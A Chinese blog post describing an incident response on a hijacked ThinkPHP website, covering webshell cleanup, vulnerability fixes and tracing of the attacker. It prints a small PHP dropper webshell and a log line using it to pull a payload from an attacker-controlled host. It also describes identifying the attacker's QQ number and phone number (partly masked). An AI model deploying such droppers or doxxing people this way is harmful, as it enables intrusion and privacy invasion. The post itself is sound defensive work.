记一次攻防交叉的应急响应

记一次攻防交叉的应急响应

转载请注明出处:https://youngrichog.github.io/

描述

最近一个朋友找到我,说访问公司网站总跳转到赌博页面想让我帮忙看一下,由此故事就展开了。

但我很少涉及到防守方的工作,对于应急响应也不是很懂。不过我还是对这些比较感兴趣,偶尔换换口味也是蛮好的。

这次算一次入门级的应急响应,因为涉及到的内容和流程我觉得还是蛮简单的,没有涉及到一些标准流程和工具等。

流程

虽说我没有去了解过应急响应的流程,不过这次的话我也把自己的流程记录一下。

Round 1

  1. 借助阿里云-云安全中心(态势感知)告警发现风险点

    1. 发现多处存在后门(Webshell文件)
    2. 使用云安全中心(态势感知)中的Web-CMS漏洞扫描,发现存在Thinkphp RCE漏洞,影响版本为5.0.0~5.0.23,log日志泄漏问题。
    3. 主机恶意请求
  2. Thinkphp RCE漏洞修复

    1. 代码修复参考:Thinkphp代码修复
    1
    2
    3
    4
    library/think/Request.php

    $this->method = strtoupper($_POST[Config::get('var_method')]);
    $this->{$this->method}($_POST);

    修改为

    1
    2
    3
    4
    5
    $method = strtoupper($_POST[Config::get('var_method')]);
    if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
    $this->method = $method;
    $this->{$this->method}($_POST);
    }
  3. Webshell清理

    1. 使用D盾对备份下来的网站代码进行扫描,发现众多Webshell,并且发现了云安全中心未发现的Webshell,并且进行删除。
  4. 网络进程层面排查

    1. 对网络连接情况进行筛查,并未发现恶意外连行为,这一点我还是挺诧异的,因为觉得会有成批量的木马和挖矿程序在上面跑。
    2. 对进程进行排查,发现使用php -S开启了多个http服务,这一点引起了我的关注,发现是利用蚁剑插件绕过disable funcation。

完成上述流程后,我认为应该是不会在出现问题了。可是第二天晚上我再次打开云安全中心发现存在后门(Webshell)告警,我决定再次对整体流程进行复盘,开始第二次防守。

###Round 2

根据告警情况发现runtime目录下存在木马,猜测是否存在历史Webshell的情况,随后开始对Web日志进行排查。

img

根据云安全中心告警开始搜索相关日志,发现其日志:

1
209.xx.xx.67 - - [09/Nov/2021:13:31:10 +0800] “GET /runtime/cache/03/a4992ddd11ab2d0f99ae38e2fae827m9.php?name=qf.php&url=http://danxxxx.top/dama.txt

发现是通过/runtime/cache/03/a4992ddd11ab2d0f99ae38e2fae827m9.php去拉一个新的Webshell回来,这里的话发现了疑似攻击者的站点。

/runtime/cache/03/a4992ddd11ab2d0f99ae38e2fae827m9.php:

1
2
3
4
5
6
7
<?php
$filename=&$a;
$a=$_REQUEST['name'];
$url=&$b;
$b=$_REQUEST['url'];
@file_put_contents($filename,file_get_contents($url));
?>

这样的文件内容,云安全中心和D盾扫描都没有发现问题,应该是等级太低导致的,毕竟这像一个很正常的功能文件。

攻击者利用a4992ddd11ab2d0f99ae38e2fae827m9.php远程拉取新写qf.php木马文件,然后导致告警。随手查看a4992ddd11ab2d0f99ae38e2fae827m9.php后门文件的创建日期发现是历史遗留的,2021年10月29日就已经躺在里面了。

img

随后根据日志筛选黑客IP,清理了一些历史遗留Webshell文件:

1
209.xx.xx.67 - - [09/Nov/2021:13:38:23 +0800] "GET /public/downimg/activates.php HTTP/1.1" 200 101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

然后猜测是否还存在Thinkphp runtime缓存漏洞,用工具测试后并未发现存在,然后对/runtime/cache/和runtime/log/下所有文件进行了删除,以防止还有遗留文件是没有被发现的,并对Thinkphp的cache、log、debug模式等进行了关闭。

开始进行黑盒测试,是否还存在其他漏洞,使用AWVS进行扫描,发现存在8处SQL注入,即开始对代码进行修复,发现各种使用拼接导致SQL注入的发生。

修复方案:优选参数绑定,由于拼接太多导致修复起来不太顺手,后面部分就用addslashes函数进行过滤。

img

修复完成后再次使用AWVS复测,发现问题不存在了。

继续对网络连接和进程进行查看,由于第一轮发现多处php -S以为是业务需要,就没有在第一轮去理,后面发现并不是业务需要,而是蚁剑绕过disable function插件,这里附上一篇文章:从蚁剑插件看利用PHP-FPM绕过disable_functions,怪不得在网站根目录下发现了多个.so文件。

Round 3

云安全中心又告警了,说发现存在后门(Webshell文件),然后继续去跟进,发现还是遗留后门,也是一个正常文件上传功能的后门,怪不得发现不了。

img

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
/**
* 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
*/

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}

while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],
$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);


$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}

$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}

} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

后面继续分析日志,把攻击者所访问的200的php文件都清理了,也是发现了攻击者的个人博客站点,103.xx.xx.209证书发现heixxxxx.com和第一轮发现的danxxxx.top为同一人所用,这里先不管它。从日志来看,应该是在使用一些自动化的程序对Webshell进行存活测试,然后木马如果存活则立马写入博彩等页面。

1
2
3
103.xx.xx.209 - - [11/Nov/2021:21:53:52 +0800] "GET /public/excel/excelxml/upload.php HTTP/1.1" 200 101 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"

103.xx.xx.209 - - [11/Nov/2021:21:56:06 +0800] "POST /public/excel/excelxml/preview/624ac168ea0bc5905807eb426ffc8112.php HTTP/1.1" 200 3989 "" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"

为防止还有历史遗留后门存在,主要做了3件事情:

  1. 把所有后门样本进行全盘grep
  2. 重新备份进行木马查杀
  3. 查找最近几月被修改过的文件

最终确定没有问题,本轮过后目前没有发现告警。

Round 4

组织进行渗透测试,从黑盒的角度再次发现安全风险,首先借助自动化工具开展。

  1. 黑盒扫描器(主动)
  2. 黑盒扫扫描器(被动)

主动:AWVS、Netsparker(推荐)

被动:Xray

几轮黑盒扫描器(主动)下来,并没有发现安全风险,使用黑盒扫描器(被动)再次发现SQL注入,主动和被动对比后发现,主动扫描器有些目录是没有爬到,导致没有发现漏洞。

手工方面的话,后台用户爆破和SQL注入都获取到后台权限,随后利用文件上传获取Webshell。从白盒视角我看过一些代码,发现代码质量比较低,就没有再去跟进了。随后对SQL注入和文件上传漏洞进行了修复。

SQL注入:参数绑定+addslashes函数过滤

文件上传:

1
$infoVideoName = $fileVideoName->move(ROOT_PATH . 'public' . DS . 'downimg');

修改为

1
$infoVideoName = $fileVideoName->validate(['ext'=>'jpg,png,gif,jpeg'])->move(ROOT_PATH . 'public' . DS . 'downimg');

对照Thinkphp上传指南修改,没有再次测试是否可以绕过,只能听天由命了 ,毕竟Round 4是我一时兴起 :-)

后面发现数据库权限过大可以进行UDF提权,随后进行降权处理,创建了一个新用户,仅授予增删改查所用库的权限。

Round 5

对攻击者进行溯源,根据日志得到攻击者2个IP,209.xx.xx.67和103.xx.xx.209

1
2
3
4
5
6
7
209.xx.xx.67 - - [09/Nov/2021:13:31:10 +0800] “GET /runtime/cache/03/a4992ddd11ab2d0f99ae38e2fae827m9.php?name=qf.php&url=http://danxxxx.top/dama.txt

209.xx.xx.67 - - [09/Nov/2021:13:38:23 +0800] "GET /public/downimg/activates.php HTTP/1.1" 200 101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"

103.xx.xx.209 - - [11/Nov/2021:21:53:52 +0800] "GET /public/excel/excelxml/upload.php HTTP/1.1" 200 101 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"

103.xx.xx.209 - - [11/Nov/2021:21:56:06 +0800] "POST /public/excel/excelxml/preview/624ac168ea0bc5905807eb426ffc8112.php HTTP/1.1" 200 3989 "" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"

放到fofa进行查询,发现其域名:

1
2
3
hexxxxx.com
danxxxxx.top
ayxxxxx.com

访问后发现为该攻击者个人博客

img

img

想从个人博客发现一些关于攻击者身份的信息,结果发现了一个比较特殊的URL,后面查了一下是获取QQ头像的接口,dst_uin对应为QQ号码。这里确定了攻击者的QQ号码:770xxxxxx,猜测攻击者为了图方便。

1
https://q2.qlogo.cn/headimg_dl?dst_uin=770*******&spec=640&img_type=jpg

img

后续通过某些手段获取到攻击者的手机号:17747xxxxxx[内蒙古xxxxxx电信]

没有在继续深究下去,目前根据手头的信息可以得出:攻击者使用Thinkphp批量漏洞利用工具获取大量Webshell,然后植入木马开始做博彩SEO

攻击者年龄还是很小的,年龄20岁,警察可以上门抓人了。

本文对攻击者的个人信息进行了打码处理,给予最基本的尊重。

命令

主要记录一些在应急响应中使用过的命令

1
2
3
4
5
6
7
8
统计访问量TOP10
awk '{print $11}' wwwroot.log | sort | uniq -c | sort -nr | head -10

打包文件夹,主要是针对于一些图片等资源比较大的情况,排除一些后缀
tar -czvf www.tar.gz xxxx/ --exclude *.jpg --exclude *.png --exclude *.rar --exclude *.zip --exclude *.7z --exclude *.gif --exclude *.JPG --exclude *.jpeg --exclude *.doc --exclude *.xlsx --exclude *.pdf

查找近30分钟修改过的php文件,可以按自己需求修改
find . -name '*.php' -type f -mmin -30

感悟

无论是攻击方还是防守方都要有趁手的武器,因为之前没有做过防守方相应趁手的兵器基本为0,只能是原始低效的进行处置。

在黑盒测试阶段,主动和被动扫描器之间的差距还是存在的,回归到根本还是”信息搜集”。

通过QQ获取头像接口找到攻击者身份算是一个不错的发现。

如果有应急响应的checklist,那么效率一定会提高。